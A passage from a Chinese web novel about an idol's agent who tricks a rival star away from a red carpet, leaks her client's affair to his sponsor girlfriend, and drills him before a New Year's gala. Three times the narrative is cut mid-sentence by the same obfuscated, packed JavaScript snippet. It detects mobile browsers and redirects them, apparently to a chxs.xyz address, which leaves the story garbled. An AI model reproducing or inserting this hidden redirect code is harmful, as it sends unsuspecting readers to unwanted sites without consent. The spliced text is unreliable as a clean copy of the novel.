[未知号码]连我的声音都听不出来了吗? 在将近一分钟的沉默后,对面大约从自己欠下的一堆情债里扒拉出了几个选项,终于有了回应。 [吕亦真]宝宝,别闹了。 [吕亦真]今晚活动结束以后,我马上去找你,好不好? 向宁莫名打了个寒颤。 瞎猫碰上死耗子,还真让她给蒙着了,只是这cosplay的角色嘛……有点膈应人。 [未知号码]我现在就要见你,没得商量。 [未知号码]给你三分钟时间考虑。 [未知号码]好好想想,是你的狗屁活动重要,还是你的名誉和职业生涯重要。 不用三分钟,对面直接秒回。 [吕亦真]别冲动!!! [吕亦真]你要见我,没问题,咱们现在就打视频好吗? [未知号码]如果你这么没诚意,我只能去你家跟你老婆孩子当面聊了。 这一次,吕亦真终于放弃了讨价还价。他妻子正怀着二胎,肯定受不了这样的刺激。 [吕亦真]别这样,算我求你,好不好? [吕亦真]你在哪?我马上就过去! 向宁随便报了个酒店的地址,离活动现场大约半小时车程。 [未知号码]别耍花招,我在看直播。只要你出现在红毯上,我就会立刻联系记者。 [吕亦真]好,等我! 为了安抚对面的情绪,他还不忘加上一句—— [吕亦真]爱你,宝宝~ 看到这四个字,向宁忍不住龇牙咧嘴,鸡皮疙瘩一时消不下去。 几分钟后,两个小助理一起进了门。 向宁惊讶道:“这么早就回来了?暖宝宝买到了?” 小陈一边应答一边点头,把拆除了外包装的暖宫贴交给况星宸。 除此以外,他们还带了一条新鲜的消息回来。 “听说吕亦真候场时莫名其妙跑没影了,工作人员正在到处找呢,红毯上已经开天窗了。” 向宁有些哭笑不得。 早知道小杨这么快就能完成任务,她又何必唱刚才那一出呢? 不过转念一想,又觉得吕亦真实在可恶,她摆他一道也不算什么,就当为晓夜报当年的骚扰之仇了。 再回头看看况星宸,他正在让小杨帮他贴暖宝宝,怎么贴都不满意。一会要往上挪一厘米,一会又要往左移半公分。 向宁忽然有些出神。 想想祝璋,Vivian,以及其他那些她叫不上名字的女孩子们…… 况星宸和吕亦真又有什么分别呢? 她今天可以毫无心理负担地坑吕亦真一回,来日,会不会也把陷阱挖在况星宸脚下呢? 虽然,这么做可能是有点违背职业道德啦。 但是,有句话她本就时时挂在嘴边。 “我是没有道德的坏人,你早知道的。” 36. 不走寻常棋 在数十个镜头的注视下,红毯上的两位主持人绞尽脑汁找话题闲聊,艰难地拖延着时间。 其中一个是专业主持人,还算气定神闲,时不时瞟一眼入场口,就盼那里能有艺人赶紧走出来。 另一个是没什么主持经验的跨界艺人,遇到这种突发情况,已经紧张得出了两手汗。 相比之下,记者们就轻松多了,甚至有几分窃喜——风平浪静的红毯最无聊了,写稿子都不用改模板。还是遇到特殊情况最有意思,背后可深挖的新闻材料取之不尽。 吕亦真临阵放鸽子,没跟任何人打招呼就溜之大吉,这可不是按顺序让下一个艺人补位上场就能解决的麻烦。 走红毯的先后顺序和艺人的咖位大小息息相关,越靠后的位置越金贵,圈内风气一向如此。 就连彼此不熟,毫无交集的艺人都时常要在这种事上较劲,遑论吕亦真后面排着的几个艺人都能写一本恩怨史了。 即便如此,工作人员也得按照既定名单的顺序,硬着头皮去沟通。 第一站自然是常临的休息室。 这是位年轻男艺人,做idol时不温不火,转型演员以后却凭一部古装剧光速翻红,即便演的是配角,势头也稳稳压过了担任主角的吕亦真,甚至宣传期走红毯的顺序都排在了他后面。 可想而知,这两个人台前幕后的关系该有多精彩。 其实常临并非不好说话的人,再加上他翻红不久,根基未稳,在绝大多数情况下都会愿意以退为进,靠救场换一波好名声的。 可今天偏偏就碰上了那极少数的特殊情况。 “吕老师真的无故离场了吗?”常临抱着怀疑态度向工作人员发问。 吕亦真早就因为出场顺序的事对他表达过不满,明里暗里也使过些绊子,好在他的经纪人靠谱,兵来将挡水来土掩,都扛过去了。 可是现在吕亦真忽然不见了踪影,天知道他是真的退出了这次活动,还是又在耍心眼,准备等常临走下红毯以后再“闪亮登场”,从而压人一头呢? 工作人员面露焦急:“千真万确,保安说亲眼看见他坐车走了!” 常临有些动摇,扭头看向身边的经纪人,意在征求她的意见。 这位经纪人入行多年,在类似的问题上也是吃过暗亏的,只相信眼见为实,不愿轻信别人的说辞。 “该什么顺序,就什么顺序,我们又不是软柿子,让人家随便捏。早先说得好好的,凭什么现在突然变卦啊?” 态度坚决,毫不让步。 既然此路不通,工作人员也不好厚着脸皮留在这里多劝,只得退出门来,转头望向况星宸的工作室,为刚才抽到下下签去和他沟通的同事捏了把汗。 业内都知道况星宸脾气大,爱发火,希望他今天能手下留情,别太为难人吧…… 抽到下下签的倒霉蛋本人也是这么想的,敲门时动作小心翼翼,又轻又慢。 在他心里,这是给自己敲丧钟呢。 来开门的是向宁,隔在他和况星宸之间,还好,有个缓冲。 走完说明情况的流程后,工作人员也没抱什么希望,弱弱向她问道:“请问况老师这边方便提前上台救个场吗?” 向宁还没回话,况星宸就在后面喊了一声:“不方便!关门!” 既然牛不喝水,总不能强按头。向宁只得轻声说道:“你先走吧,我再劝劝况星宸。要是能行,我就直接带他去候场。” “好嘞好嘞,麻烦您了。”工作人员也不想在这多待,主动关上门离开了。 况星宸横翘着二郎腿,就等向宁来对他说教。 不料向宁坐回沙发上,只顾跟麦秋小声说话,窸窸窣窣聊得热火朝天,根本没搭理他。 “喂!”况星宸叫了一声,见她没反应,又加大音量道,“喂!向宁!” 这回她终于扭头看他了,只是刚才对着麦秋还笑得灿烂,现在看着况星宸却一脸冷漠。 “又干嘛?” 况星宸摸了摸鼻子:“你、你不劝我上去救场吗?” 向宁无语地将头转了回去,不再看他,漫不经心刷着手机道:“我劝你,有用吗?” “你瞧你,什么态度?” 况星宸抱怨着起身上前,使个眼色把麦秋赶到一边,自己坐在了向宁身旁。 “你以为我傻呀?真不知道现在去救场能一举两得,既做了主办方的人情,又赚了观众的好评?” 向宁仍未抬头,敷衍了事道:“嗯嗯,你不傻,你精着呢。” “看着我说话!” 况星宸不再忍耐,直接按熄了向宁的手机屏幕,顺势捏住她的手。 “你也知道,我和常临是同一个选秀节目出来的,赛时他就一直跟我较劲,但是从来没有赢过我!” 向宁借端茶杯的动作甩开他的手,吹着杯子里滚烫的茶水,含糊应付道:“嗯嗯,他们流水的排名,你是铁打的老一。” 况星宸知道她不是真心夸赞自己,毕竟为了得到这个稳定的排名,公司出了不少力气。 但是,那又如何?他当初既然坐稳了第一名的位置,现在就不会让下面的小喽啰有机会踩到他头上来。 “反正我绝对不可能让常临在我后头走红毯,现在不能,以后他也别想。” 向宁对他的豪情壮志不感兴趣,左耳进,右耳出。听罢抿了一口茶水,还是很烫,于是放下杯子起身道:“我出去看看情况。” 真不知该说小杨是爱岗敬业还是读不懂空气,总之他完全没看出向宁是在找借口逃离况星宸。 “向宁姐,不用麻烦了,这有直播。” 说着,他把手机屏幕展示给另外几人。 “已经有人救场了。” 来救场的是原定出场顺序非常靠后的嘉宾,一位四十余岁的前辈演员,优秀作品颇多,奈何奖运不济,只拿过一次影后。 也许是见的风浪多了,对这些乱七八糟的规矩不甚在乎,因此在遇到工作人员求助时,她毫不犹豫就答应了下来,活动流程终于得以继续推进。 几分钟后,况星宸也去候场了。助理小杨跟在他身边,化妆师和麦秋也被向宁找借口打发了出去,于是休息室里便只剩下她一个人。 将门反锁后,向宁用一个手机连上蓝牙音箱,大声放着音乐,以确保门外的人听不见她说话的声音,然后用另一个手机给简晓夜打去了电话。 她目前正在电影拍摄地附近,开拍前需要统一接受武指的培训。 “什么事,宁宁?”对方几乎秒接。 “你和祝璋混熟了吗?” 简晓夜一头雾水:“不熟,她很少来现场,而且连我的微信好友申请都还没通过呢。你怎么想起来问这个了?” 向宁语速极快:“那没事了,你先忙,拜拜!” 下一个接到电话的是枕安,比之简晓夜,向宁多走了一道例行寒暄的程序,而后才说到正题。 “你和祝璋应该是很好的朋友吧?”虽然是问句,她用的却是陈述语气。 “嗯……”几秒停顿后,枕安才不确定地回答道,“其实,不太算是。” “啊?”这个答案实在出人意料,打乱了向宁后续的措辞思路。 枕安猜测道:“你是……找她有什么事吗?” 向宁回过神来,马上答道:“只是有些要紧的话,想借祝璋的熟人之口传进她耳朵里。” “喔,是这样。”枕安的语气轻快了 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14906806|158356||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 几分,“那就让我做传声筒吧。我和祝璋姐虽然算不上朋友,但她还是很信任我的。” 这下向宁更疑惑了——不是朋友,却深受信任?这算什么关系? 枕安仿佛猜到了她的疑虑,紧接着解释道:“我和她作为深度绑定的合作对象,某种意义上也算利益共同体了。” 唔,这个理由还说得通。 “所以,要传什么话呢?”他问。 向宁对他的主动请缨没有异议,直言道:“况星宸劈腿,劝她分手。” 此话一出,对面莫名陷入了沉默,近十几秒没有声响。 “喂?”向宁狐疑地出声提醒。 “喔。”枕安恍若刚结束一段神游,灵魂终于归位,“你说况星宸……劈腿了?” 他原以为她打电话来是为了请祝璋帮忙,在剧组对简晓夜多加照顾。没想到,竟然是为了这个。 “你不信我?”向宁显然误解了他陷入沉默的原因。 “不,我当然相信。”枕安连忙为自己分辩,也许是不太自信的缘故,还不忘再确认一遍,“毕竟我们是朋友,不是吗?” “嗯。”向宁答得干脆,尾音带着细微的笑意,“所以,你愿意帮这个忙吗?” 叮—— 枕安又短暂地沉默了几秒,蓝牙音箱恰好在这时响起一声消息提示。 向宁移目去查看放在桌上的手机,同时听枕安问起:“知道他劈腿这件事的人多吗?” 他必须先确认这个问题。 如果除了当事人以外,只有向宁一个人知道,那么事情一旦走漏风声,况星宸很有可能判断出泄密的人就是她。 他又是那样睚眦必报的性格,才被杜琮坑了一百万,就做了那样大的一个局。要是知道自己的长期饭票被向宁撕了,还不知道要用什么手段报复她呢。 “应该蛮多的吧。”向宁在脑海里划拉起算盘珠子来,“算上肯定知情的同事,加上有可能知情的站姐,一只手都未必数得过来。” 听到这个答案,枕安就放心了。 “好,我会替你转达的。” 紧接着,他又补充道:“但祝璋姐是很讲证据的人,这件事又牵连到她的男朋友,如果只靠我空口说白话,她未必会相信。” 向宁当然有证据。 况星宸问Vivian要视频时,是她担任的文件中转站。 但她不可能把这份证据发出去。 这倒不是为了坚守什么虚无缥缈的职业道德,而是担心祝璋看到视频以后,会在盛怒之下把矛头指向Vivian而非况星宸。 说到底,就算没有Vivian这个人,换成Lilian,Gigian,甚至Amphibian(两栖动物),况星宸依旧会劈腿,把矛头指向另一个当事人根本毫无意义。 “没有证据,自由心证吧。”向宁不露声色道,“不过,况星宸的心理素质很差劲。只要祝璋冷下脸拿话一诈,他大约就什么都藏不住了。” …… 无章美术馆,三楼办公室。 电话早在第一段缄默期就开了免提,枕安将手机放在冰冷的玻璃桌面上。 祝璋双手交握,撑着下巴,目光定在手机上久久不移,听着向宁的声音从中传来。 她不常在人前露出笑容,此刻嘴角的弧度完全出自本心。 有意思,真有意思。 向宁。 况星宸最信任,最依赖的人之一。 居然也在背后捅了他一刀? 该说令人欣慰……还是惊喜? 除此之外,令祝璋更加好奇的是—— 向宁走出这一步棋,是为了提醒她? 还是为了试探她呢? 37. 替他顶雷 聊到这里本来已经可以结束对话了,可是在向宁说出“再见”之前,枕安还是问出了他和祝璋心里共同的疑惑。 “你不是相当于况星宸的半个经纪人吗?为什么不帮他瞒着这件事呢?” 向宁给了他几个选项:“三种理由——阳光的,中立的,阴暗的,你想先听哪个?” 枕安不假思索:“阴暗的。” 向宁露出一个“果然是这样”的笑容,坦言道:“祝璋的人脉和能力都远远不是我能比的,如果放任他们的恋爱关系稳定发展,况星宸时时有她提携,想必迟早就用不上我这个经纪人了。所以,哪怕只是为了保住我在工作室里的地位,他这恋爱也别想长期谈下去。” “这样吗……” 枕安有些意外,或者说预期落空。毕竟在他的认知里,这种想法还远远达不到“阴暗”的程度。 “那么,中立的理由是什么呢?” 向宁迟疑了片刻才回答道:“其实……说是‘混乱中立’更准确些。” “哦?” “上次况星宸给杜琮下药,明知晓夜是他的女伴也不给我通个气,害得她坐上了随时有可能出危险的车,这仇我还记着呢。就算他本意没想牵扯别人,我也懒得掰扯是非曲直,索性跟他算一笔糊涂账咯。” 枕安不知对这话做了什么发散,仿佛心脏忽然被捏了一把。 隔着两层手机交流,向宁并未察觉他的情绪有什么异常,祝璋却对枕安的心思一清二楚,连忙朝他扔了支笔,打碎一片无谓的自责与联想,用眼神示意他赶紧接话。 枕安在心里轻叹一声,再开口时已经调整好了情绪,还有点揶揄祝璋的意味:“最后一个理由,我就没必要多嘴去问了吧?” 祝璋朝下扯了扯嘴角,用眼神回应了他的阴阳怪气。 向宁则微笑道:“嗯,就是你想的那样。” 她可以毫无心理负担地帮况星宸洗白丑闻,不代表她真的毫无是非观。况星宸这样软饭硬吃的烂人,她要是不给他女朋友递个信,实在对不起自己那颗偶尔跳动的良心。 不过,除了良心以外嘛…… 向宁朝桌上的手机看去,后台播放着慢节奏的爵士乐,界面还停留在枕安和她的聊天框。 刚才那条消息,正是他给她发来的一道即兴表演题。 [枕安]祝璋在旁,已开免提,勿回。 这既是提醒,也是他递来的机会,更是向宁临时决定在这通电话里隐瞒“第四个理由”的原因。 祝璋是个厉害人物,如果能借此契机在她的交际网里搭一条线自然最好,如果不行,卖了况星宸让她记一个人情也有益无害。 一场各怀心思的告密推进得无声无息,待况星宸顺利走完红毯,回到休息室的第一件事就是拉着向宁看热闹,幸灾乐祸的心思藏都藏不住。 “我去,好险,居然有人爆我料,还好让吕亦真给顶了!你看热搜了吗?” 向宁佯装不知:“出什么事了?别急,我先看看。” 打开微博,只见几分钟前还在榜单中部的词条已经迅速攀升,挤到了前排。 #蓝血超季是什么瓜# #吕亦真红毯放鸽子# #吕亦真夜赴酒店# 原来吕亦真换上便装匆匆离开后,有鼻子灵敏的狗仔嗅到了瓜味,紧随其后一路跟拍,发现他最后走进了某个酒店,在大堂左顾右盼,明显是想寻找什么人。找人无果,他又打了许多电话,似乎都未接通。 看到狗仔发布的视频后,向宁心里门清,吕亦真一定是在给自己打电话。 想必他当时肯定被一遍又一遍“您拨打的电话无法接通”的提示音烤得无比心焦吧。 她留下的号码当然打不通,因为向宁确认他上钩以后,就把那张临时电话卡掰断扔进垃圾桶里了。 彼时彼刻,八卦论坛里网友们的破案之路已经渐渐跑偏——走上红毯的所有年轻男艺人都不符合爆料帖里的描述,并无一人穿着蓝血超季。 难道有人换了一套衣服? 应该不会。 小品牌的衣服也就罢了,都是求着艺人穿上红毯的,本来就没有主导权,人家说换也就换了。 可蓝血大牌不一样,本来就吃了艺人间互相攀比的红利,都快被捧到天上去了,常常一衣难求,更别说超季礼服有多难借了。如果艺人团队已经承诺了要穿这套衣服上红毯,却被一篇爆料帖吓得临时换衣,就不怕得罪了品牌方吗? 难道说……真正的嫌疑人就是今晚全程没有现身的吕亦真? 似乎只有这一种解释了:他的团队发现网上有人爆料,然而时间紧急,他来不及换一套衣服,所以才出此昏招,临上场前放了主办方鸽子。 可是这也说不通啊! 吕亦真是演员,又不是idol,虽然一直在立单身人设,但是被爆恋情也不算塌房。就算他舍不得那些女友粉,不想承认恋爱事实,也完全可以用一纸律师函把爆料帖打成谣言,用不着临阵脱逃,沦为小丑啊。 吃瓜网友们化疑惑为动力,继续深挖,结合论坛里流传已久的“吕亦真隐婚生子”秘闻,辅之以各路“圈内人士”或真或假的投稿,渐渐拼凑出了完整流畅有逻辑的事情始末,瓜田也越扩越大。 况星宸不知道这其中有向宁做推手,还以为是老天助他逃过了一劫,看完笑话便兴冲冲地期待起次日的跨年晚会了。 活动结束已是深夜,一行人坐上保姆车,面对面的座椅正方便开会。位置也万年不变,向宁和况星宸一排,坐三人位,中间的座位永远空着。麦秋和小杨一排,坐两人位。 况星宸打开座椅的按摩功能,椅背锤得他说起话来都是颤音:“活动结束了也别闲着,小宁,赶紧帮我写一下明天的微博文案。” 接着又冲麦秋扬一扬下巴:“小秋,你负责宣发文案。记住了,一定要强调我是‘零点前的压轴嘉宾’!四舍五入就等于整场活动的压轴嘉宾了” 麦秋答应得虽快,心里却在犯嘀咕:文案要是这么写,网友又得嘲讽工作室没文化,搞不好还要给我们科普“压轴”是倒数第二个上场的,最后一位表演嘉宾应该是“大轴”呢。 麦秋本想再出言确认一下,可是看看四周,连向宁姐都没有提出反对意见,估计是觉得没必要较真吧。 如果她非钻这个牛角尖,况星宸岂不是又要不高兴了? 搞不还还会觉得她在嘲讽他没有文化呢。噫,想想都觉得解释不清楚,还是别触霉头了。 “用你催?我早就写完了。”向宁把手机备忘录里的八条备选文案发给况星宸,“都能用,你自己挑吧。复制粘贴的时候记得把序号删了。” “知道 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14913518|158356||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,知道……”况星宸的声音渐渐变得模糊,大约是睡意越来越浓的缘故。 可惜路程只有半个小时,他还没睡够就被向宁给叫醒了。睁眼一看,不对啊,这是哪? “我不是说了定酒店的标准吗?这啥呀?” 面前的建筑明显没有五星级酒店的规格,相比之下大门又低又窄,跟公司大楼似的。 况星宸拒不下车,皱眉喊道:“换地方,赶紧!” 麦秋和小杨刚下车,见况星宸发起脾气来,也不知该进该退。 向宁没有理他,下车后一手撑着门框,另一只手捋过被风吹乱的发丝,表情严肃,中气十足道:“三。” 麦杨二人听到这个数字,条件反射般退后一步,对视一眼,又往后退了半步,继而悄悄呼一口气,动作都快形成肌肉记忆了。 况星宸见她又来这套,不想乖乖下车丢了面子,于是抱着臂扭过头去,准备暂时采用鸵鸟战术。 “二!” 这声比刚才更用力些,况星宸纵使做好了心理准备,还是忍不住肩膀一缩,膝跳反射似的。 “一!我替你数了,怎么样?”他下定决心,非得从她这找回点面子来。 向宁面无表情地收回手,插进风衣口袋里,转身对麦秋二人说道:“别管他,都饿了吧?拿好后备箱里的东西,咱们上楼开party去。” party? 难道他们已经把Vivian接来了,人就在楼上? 况星宸猛地回过头来,朝车外望去,只见麦秋从后备箱里拿出两大袋零食,跟向宁一起进门去了。小杨抱着一箱饮料,三步一回头,左右为难地望着他。 等向宁二人进门以后,况星宸才冲小杨招招手,把他叫了过来。 “向宁葫芦里卖的什么药,你知道吗?” “不知道。”小杨把头摇成了拨浪鼓 “啧,没用的东西!” 况星宸做贼似的朝玻璃门里望了一眼,没看到向宁的身影。 “耳朵,过来!”他斜着眼吩咐道。 “哦,好。”小杨抱着箱子凑上前去。 况星宸压低声音说道:“等会咱俩一块进去,向宁要是问……呃,不对,不管向宁问不问,你都跟她说我本来不想下车,是你硬把我拉过去的,懂了吗?” 小杨有不同意见:“宸哥,我抱着这么重的箱子,不可能轻轻松松把你从车里拉到楼里的。就算咱这么说,向宁姐也不会信啊。要不这样,我先把箱子送过去,再跟向宁姐说要回来把你拉过去,行吗?” 况星宸想了想,这办法还算靠谱。 “行,动作快点!” “好嘞!” 小杨抱紧箱子,留下一个青春洋溢的笑容,在况星宸眼里总是带着点傻气。 然而转过身的下一秒,他脸上的笑容便融进了夜色,变得僵硬而虚假,更像厌恶。 直到进门后在大厅见到向宁,他的面色才有所缓和。 “向宁姐,您一个人啊,麦秋呢?” “先上楼了,况星宸呢?” “他想要个台阶下,您看……?” “该给就给,他是个死要面子的人,顺毛捋就是了。” 不过…… 等他上了楼,发现今晚根本没有任何party,估计又有一场硬仗要打了。 38. 姐姐救我! 电梯上到十二层,四周仍然静得出奇。况星宸探出头左右观察一番,心中愈发不安了。 “不对啊,这不是酒店!?”他后知后觉地问。 “我从来没说过这是酒店。”向宁步履不停,朝走廊尽头的房间走去。 麦秋已经按照她的要求,提前在房间里架好了摄影机,现在正在调试音响设备。 况星宸一进门,对面就是整墙铺满的落地镜,天花板和踢脚线上都整齐排列着许多小灯,光线有规律地缓慢运动着。 显而易见,这里是一间舞室。 “说好的party呢?”况星宸知道自己就多余问这一句,他肯定是又被向宁骗了。 向宁偷换概念道:“谁跟你说好了?我刚才明明只跟小秋小杨两个人说好了。” 况星宸不跟她玩文字游戏,反正每次都玩不过,只问:“那你把我骗到这来干嘛?不会是让我大半夜不睡觉过来练舞吧?” 向宁打开一瓶低度果酒,跟他隔空碰了个杯:“不错,有长进。” 见况星宸似乎又要发难,向宁摆摆手示意他稍安勿躁,喝了两口润完嗓子才继续解释:“你昨天不是有别的行程,没参加跨年晚会的彩排嘛。现在赶紧练练舞,就当热身了。顺便给粉丝录个练习室视频,发点福利。” 说完抬手看看表:“现在还不到十二点,你好好表现吧,什么时候录到合格的视频,咱们什么时候收工。” 况星宸抢过她手里的玻璃瓶猛灌两口,用放狠话的语气说道:“别小瞧我,今天就让你看看,什么叫专业idol,什么叫天生C位!” 说完把瓶子还给向宁,走到地板上的标点位置摆好开场造型,高声吩咐道:“小秋,随时可以放音乐。小杨,摄像机位置再放低些,把我腿拍长点!” 一切准备就绪,三、二、一,开始! 节奏感极强的音乐已经响起,向宁轻手轻脚,把那只玻璃瓶放进垃圾桶里,没让它发出任何响动。 况星宸的动作行云流水,的确如他所说,已经在数百次重复练习后形成了肌肉记忆。 虽然私德不佳,唱作歌手人设也有诸多水分,但在舞蹈这一点上,他的业务能力还是毋庸置疑的。 一曲舞毕,向宁隐藏的HR之魂又开始熊熊燃烧,腹诽道:这家伙如果不当idol,转行去做舞蹈老师倒是蛮合适的。 “怎么样?”况星宸得意地朝她走来,“超有魅力吧!” 向宁把擦汗用的毛巾扔给他,走到小杨身边去看摄影机。况星宸亦步亦趋,搭上她的肩膀躬身去看屏幕,粗重的呼吸就喷在向宁耳边。 又来了,段位真够低的。 向宁无奈地斜他一眼。 这家伙怎么就没个安分的时候呢? “心里烧得慌就去吃药,别在这演开屏孔雀。”她从况星宸肩上取下毛巾,用力在他胳膊上抽了一把,“留着您老人家的荷尔蒙在跨年晚会的舞台上释放吧。” “嘁。”况星宸扯了扯嘴角,跟她拉开距离,又让小杨给他开了瓶啤酒,“什么时候回酒店休息?” 向宁从麦秋的薯片袋子里抓了一把,平静道:“你明晚不是有两个节目吗?舞蹈是热完身了,唱歌要不要也练练?” 况星宸从她手里分走一半薯片,不以为意道:“站桩假唱,有什么好练的?” “翻唱别人的歌,对口型不用练吗?万一你唱到一半忘词了呢?” “有提词器啊。” “万一提词器故障了呢?万一控制提词器的人是你的黑粉,就想坑你呢?万一……” “行行行,别万一了,我练还不行吗?” 事实证明,有提词器的时候,况星宸可以把口型对得天衣无缝,然而一旦撤了提词器,他就没有不忘词的时候。 此时此刻,向宁在他眼里仿佛忽然变成了小学语文老师,拿着戒尺督促他背课文,背不出来就有挨打的风险。 当然了,这不过是他的脑补,虽说向宁手上有个酒瓶子,可她也不至于那么莽,拿它去敲况星宸的脑壳。 凑巧的是,这两人的脑补方向竟出奇的一致。 在向宁眼里,况星宸就像个偏科的低智小学生。虽然舞蹈课总是能够提前完成任务,不到打铃的时间即可放学;但是声乐课永远无法够到合格线,单是背歌词这一项就要留堂许久。 一个多小时以后,况星宸终于没了耐心,盘腿坐在地上,一手撑着腮帮子边打哈欠边说:“差不多得了啊。就算上台以后遇到你说的那些‘万一’,导播也会及时切远景的。我再用话筒挡一挡,保证不让观众看清口型,这样总行了吧?” “导播?”向宁像听到什么笑话一般,摇摇头道,“你要参加的是地方台商业性的跨年晚会,又不是春晚,人家怎么会求稳、帮你保效果啊?我要是他们台的领导,为了收视率和话题度,肯定让导播猛切你的大头特写。你还想用话筒挡嘴?当人家的摇臂是不会动的摆设吗?” “你给我把心放在肚子里吧!”况星宸已经开始不耐烦了,“就冲我女朋友是明晚活动最大的冠名商这一点,他们台也不敢坑我,否则不是和金主爸爸过不去嘛!” “金主妈妈。”向宁纠正道。 说起来,现在还不知道祝璋对他是个什么态度呢。 不过……也许正好可以借这个机会观察观察? 想到这里,向宁也不打算继续劝他留下练习了。左看右看,又发现麦秋和杨晨叶都困得不行,接连打着哈欠。 也是,总不能让大家一起陪着他耗。 “行吧,回酒店。” 回程时刚过半夜两点,不知怎的,况星宸一坐上保姆车就不困了。车子开动以后,他还一反常态换了个位子,坐在他和向宁中间空置已久的座位上。 “有事?”尽管正在闭目养神,向宁还是敏锐地捕捉到了他的动作。 “嗯。”况星宸伸手挑开她挡在耳边的头发,轻声说着,“那首歌的歌词太难背了。你要是实在不放心,我倒有个主意。” “松手,别碰我头发。”向宁仍然闭着眼睛,精准在他手背上打了一下,“有什么主意,直接说。” 况星宸并不乖乖松手,反而更明目张胆地将她那缕发丝捏在手里把玩。 “你录一版清唱音频呗,我睡前单曲循环,灌灌耳音,说不定就背下来了。” “打住,想都别想。”向宁终于抬起眼皮剜他一眼,抢回自己的头发,“你不知道我五音不全吗?” “少来,我不会再被你骗了。”况星宸斜倚着座椅靠背,含笑道,“你忘了?上次年会去KTV续摊,咱俩在一个包厢。” “那也别想。”向宁从风衣口袋里拿出发圈,麻利地扎了个低马尾,“想灌耳音可以啊,听原唱去,人家比我专业多了。” 况星宸连吃几次闭门羹,脸上有些挂不住。或许是做贼心虚的缘故,又或许是他不想让向宁认为自己有别的心思,连忙倒打一耙道:“你别自作多情好不好,真以为谁稀得听你唱歌啊?” “不稀得就好。”向宁戴上耳机,继续闭目养神。 她越是满脸不在乎,况星宸越是容易生闷气。 “我说,你这个代理经纪人也太不称职了吧?”他气鼓鼓地摘下她的一边耳机,“以前我拍戏背不下来台词,刘哥可比你有耐心多了,每天都给我读剧本,一句一句录音频,从来没喊过累。” “那挺好的,他蹲完号子出来可以转投广播剧行业,技多不压身嘛。” 况星宸最烦她这一招——动不动就故意贫嘴两句,扯开话题。 他转念一想,决定以牙还牙,也往向宁最容易应激的弱点上踩。 “你爱唱不唱!”他抱着臂坐回原位,翘起二郎腿,“我找Vivian来给我唱!人家的声音可比你甜多了,还就在我耳朵边上,live版!” 半晌 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14916899|158356||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 没有回音,况星宸抖着腿朝向宁看去,却见她不知什么时候睁开了眼睛,怫然不悦地盯着他。 况星宸心里正在发怵,就听她咬牙切齿道—— “行,祖宗,我给你录。” 向宁不知道的是,这话落在他耳朵里就自动断句成了“行,祖宗我,给你录。” 尽管如此,况星宸还是暗自窃喜。 此战告捷,在他看来是因为自己妙语连珠,激起了向宁内心深处对另一个漂亮女人的嫉妒心和胜负欲。 或许……还有对他的占有欲?哼哼……这些可就无法言说了,他知道她是不会承认的。 然而从向宁的角度出发,她却只是担心狗仔拍到况星宸在酒店夜会美女,又要惹出麻烦事来,所以宁可自己做一次小小的牺牲。 等她过几个月顺利调到经纪部,脱离了张洋的掌控,肯定让煦晗姐立即给况星宸换个经纪人,离自己越远越好,再也别有什么交集了。 当然,前提是林总能够信守承诺,等她考出经纪人资格证就批准调动申请。 向宁叹了声气,不管希望有多渺茫,她总得试一试。 不多时,保姆车在一家五星级酒店门口停下,况星宸心满意足地住进最好的套房,刚洗漱完就收到了向宁发来的音频。 三分钟的歌,前后两部分歌词一模一样,向宁很明显只唱了前半部分,只是把它复制粘贴成了一段三分钟的完整音频。 嘁,真够懒的。 况星宸自认大度,不跟她计较,打开音响系统单曲循环起来。 然而听着听着,他的注意力就不在背歌词上了,神思越走越偏,不自知地想入非非起来。 怪不得好多男艺人都喜欢跟经纪人谈恋爱呢,他想。 又方便,又实用,又保密,又省钱。 想想几个小时以前,向宁发现他和Vivian约会的时候气成那样,保不齐她也对他有意思。 如果真是这样,他倒不是不能勉为其难把她收了。 这母老虎虽说脾气差了点,却也有那么点小辣椒的韵味,他乐意被她压制着,酥酥麻麻的。 况星宸就这么自顾自地联想着,描摹着,沉沉睡去,一觉醒来愈发志得意满,在向宁面前扮演开屏孔雀更加得心应手,对她的称呼也去掉了“姐”字,一会“小宁”一会“宁宁”的叫个没完。 等到跨年晚会开始时,他毫不紧张,雄心和自信心一起攀升至了顶峰。 然而亢奋的状态只持续了几个小时,就被一条突如其来,并在后台迅速传播的消息打乱了阵脚。 「紧急通知:后续所有原定放预录的节目,全部改成真唱!」 这种通知总是字越少,事越大。 况星宸没心思深究这条新规背后千丝万缕的因果,因为串场的主持人已经走上了舞台,即将开始报幕。 下一个节目的表演者就是他了。 在这一瞬间,况星宸只觉头晕眼花,后脑阵阵发懵。 